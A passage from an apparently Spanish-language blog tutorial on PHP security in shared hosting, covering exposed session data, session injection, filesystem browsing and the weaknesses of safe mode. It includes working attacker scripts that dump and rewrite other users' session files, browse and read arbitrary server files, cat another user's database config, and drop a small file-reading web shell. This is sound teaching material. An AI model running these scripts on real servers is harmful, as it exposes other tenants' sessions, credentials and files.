De manera que si el archivo anterior esta expuesto, no podrian ver nuestras credenciales de acceso :)
Nota importante: Tenga en cuenta que los datos son enviados por la variable superglobal $_SERVER por lo cual si tiene un archivo con la funcion phpinfo() deberia denegar el acceso a tal archivo.
Datos de sesion expuestos
Incluso cuando proteges los datos, las sesiones estan expuestas, php guarda todo en el directorio temporal /tmp, las sesiones tambien se guardan alli, y con un sencillo script en php pueden ser expuestas:<?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()){ if (substr($filename, 0, 5) == 'sess_'){ $data = file_get_contents("$path/$filename"); if (!empty($data)){ session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?>
Lo que hacemos con este script en php es buscar en la carpeta temnporal los archivos que empiezan con sess_ y luego mostrar su contenido, que en realidad es el contenido de una sesion lo decodificamos y lo mostramos...
La mejor manera para proteger nuestros datos de sesion seria guardarlos en la base de datos, hay que tener en cuenta que la seguridad en la base de datos se vuelve mas importante.
Primero creamos una tabla para las sesiones:
CREATE TABLE sessionsDescribiendo la tabla quedaria de la siguiente forma:
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
Para almacenar nuestros datos de sesion en esta tabla, es necesario que modifiquemos el mecanismo de sesiones:
<?php session_set_save_handler('_open', '_close', '_read', '_write', '_destroy', '_clean'); ?>
Cada uno de estos argumentos maneja una tarea:
1.- abre la sesion
2.- cierra la sesion
3.- lee la sesion
4.- escribe la sesion
5.- destruye la sesion
6.- limpia los datos de sesion obsoletos
Hacemos uso de ellos, creando una sesion para cada uno y realizando lo que se le indica:
<?php function _open(){ global $_sess_db; $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)){ return mysql_select_db('sessions', $_sess_db); } return FALSE; } function _close(){ global $_sess_db; return mysql_close($_sess_db); } function _read($id){ global $_sess_db; $id = mysql_real_escape_string($id); $sql = "SELECT data FROM sessions WHERE id = '$id'"; if ($result = mysql_query($sql, $_sess_db)){ if (mysql_num_rows($result)){ $record = mysql_fetch_assoc($result); return $record['data']; } } return ''; } function _write($id, $data){ global $_sess_db; $access = time(); $id = mysql_real_escape_string($id); $access = mysql_real_escape_string($access); $data = mysql_real_escape_string($data); $sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')"; return mysql_query($sql, $_sess_db); } function _destroy($id){ global $_sess_db; $id = mysql_real_escape_string($id); $sql = "DELETE FROM sessions WHERE id = '$id'"; return mysql_query($sql, $_sess_db); } function _clean($max){ global $_sess_db; $old = time() - $max; $old = mysql_real_escape_string($old); $sql = "DELETE FROM sessions WHERE access < '$old'"; return mysql_query($sql, $_sess_db); } ?>
Con esto deberiamos de llamar primero a session_set_save_handler() antes de sesion_start(), pero las funciones las podemos definir en cualquier lugar. De esta manera nos evitamos de modificar el codigo cuando usamos sesiones, ya que podemos seguir utilizando $_SESSION y se comporta de igual manera, PHP todavia se encarga de generar y propagar el identificador de sesion, y se siguen aplicando los cambios a las directivas de configuracion de sesion. Todo lo que tenemos que hacer es llamar a la funcion (y crear las funciones a las que se refiere), y PHP se encarga del resto.
De esta manera si llenamos los datos de una sesion, por ejemplo:
<?php include "manejador_sesiones.php"; session_set_save_handler('_open', '_close', '_read', '_write', '_destroy', '_clean'); session_start(); $_SESSION['foo'] = 'bar'; $_SESSION['baz'] = 'wombat'; ?>
Como vemos hacemos un include al manejador de sesiones, que es el codigo de cada funcion,insertado en la base de datos se veria de la siguiente, manera:
Inyeccion de sesion
Como comentabamos anteriormente, cuando un usuario atacante se aloja en el mismo servidor, es posible que pueda atacarnos modificando nuestras sesiones, leyendolas o simplemente eliminarlas. Un ejemplo, seria el uso del siguiente script en PHP, inyectar.php:<?php include "manejador_sesiones.php"; session_set_save_handler('_open', '_close', '_read', '_write', '_destroy', '_clean'); session_start(); $_SESSION['foo'] = 'bar'; $_SESSION['baz'] = 'wombat'; ?><?php session_start(); ?> <form action="inyectar.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()){ if (substr($filename, 0, 5) == 'sess_'){ $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)){ session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value){ $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form> El script inyectar.php puede realizar las modificaciones indicadas en el formulario <?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data){ $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
De esta manera como se muestra la siguiente imagenes podriamos modificar, eliminar y leer las sesiones:
La manera de protegernos ante este tipo de ataque es, metiendo los datos a la base de datos como lo hicimos anteriormente, en el apartado datos de sesiones expuestas.
Sistema de archivos de navegacion
Ademas de poder leer archivos de su servidor, un atacante puede crear un script PHP, de manera de saber donde se encuentran estos archivos, mas que nada para navegar por ellos, para saber donde se encuentran y poder accederlos. Podemos crear un script PHP como el siguiente:<pre> <?php if (isset($_GET['dir'])){ ls($_GET['dir']); } elseif (isset($_GET['file'])){ cat($_GET['file']); } else{ ls('/'); } function cat($file){ echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'); } function ls($dir){ $handle = dir($dir); while ($filename = $handle->read()){ $size = filesize("$dir$filename"); if (is_dir("$dir$filename")){ $type = 'dir'; $filename .= '/'; } else{ $type = 'file'; } if (is_readable("$dir$filename")){ $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else{ $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?> </pre>
De esta manera tenemos un navegador de archivos como el siguiente:
Entonces si cualquiera puede ver nuestros archivos y puede acceder a ellos y verlos, lo mejor seria optar por almacenar datos confidenciales en la base de datos y encriptados. Y archivos como por ejemplo las credenciales de la base de datos, db.conf deberiamos optar por meterlo fuera del directorio raiz.
Modo seguro
El modo seguro fue diseñado para intentar resolver los problemas de alojamientos compartidos. Sin embargo esto es arquitectonicamente incorrecto para resolver problemas a nivel PHP, pero desde las alternativas del servidor web o sistema operativo no son nada realisticas, mucha gente especialmente ISP's tienen modo seguro habilitado.Cuando modo seguro esta activado, realiza una comprobacion para ver si el propietario del archivo es el mismo que esta leyendo o abriendolo o escribiendo sobre el. Aunque esto... afecta a otros lenguajes de programacion como PERL, Python, o un script en CGI Bash:
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victima/inc/db.inc
En el archivo de configuracion php.ini podemos encontrar la directiva safe_mode la cual puede estar activada (On) o desactivada (Off), de la siguiente manera: Safe_mode = On
Si no sabes donde se encuentra tu archivo de configuracion, puedes crear un archivo con la funcion phpinfo() que te muestra informacion sobre la ruta donde se encuentra almacenado el archivo de configuracion de PHP.
Otro problema de modo seguro es que no impide el acceso a los ficheros que son propiedad del servidor web, por lo que si tenemos un script PHP como el siguiente:
<?php $filename = 'file.php'; $script = '<?php header(\'Content-Type: text/plain\'); readfile($_GET[\'file\']); ?>'; file_put_contents($filename, $script); ?>
Se crea el siguiente archivo:
<?php header('Content-Type: text/plain'); readfile($_GET['file']); ?>
Con el cual podemos leer archivos dentro del servidor. Debido a que el archivo tiene el mismo propietario que del archivo que lo creo.
Como podemos ver el modo seguro contiene muchas fallas, es por eso que tambien fue eliminado y se declaro como obsoleto, entonces el modo seguro no es ningun reemplazo para todas las tecnicas de proteccion que hemos descrito hasta ahora.
Referencias:
* Essential PHP Security* PHP documentacion oficial
* Wikipedia
Etiquetas:
alojamiento,
archivos,
basededatos,
codigofuente,
compartido,
datos,
hosting,
navegacion,
permisos,
propietarios,
servidor,
sesion,
sesiones,
usuarios
Suscribirse a:
Entradas (Atom)